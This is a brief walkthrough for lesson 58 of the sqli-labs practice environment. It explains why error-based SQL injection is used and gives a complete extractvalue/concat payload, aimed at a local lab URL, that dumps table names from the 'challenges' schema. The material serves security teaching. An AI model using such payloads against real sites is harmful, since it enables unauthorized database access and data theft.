Sqli-labs less 58

Less-58

After executing the SQL statement, the data in the database is not returned, so we cannot use Union Union injection here, using an error injection here.

Payload:http://127.0.0.1/sqli-labs/less-58/?id=-1 ' Union select Extractvalue (1,concat (0x7e, (select Group_ CONCAT (table_name) from Information_schema.tables where table_schema= ' challenges '), 0x7e))--+

Here you can modify the above content, construct the payload can be injected, but you need to note that there are only 5 chance to try.

Sqli-labs less 58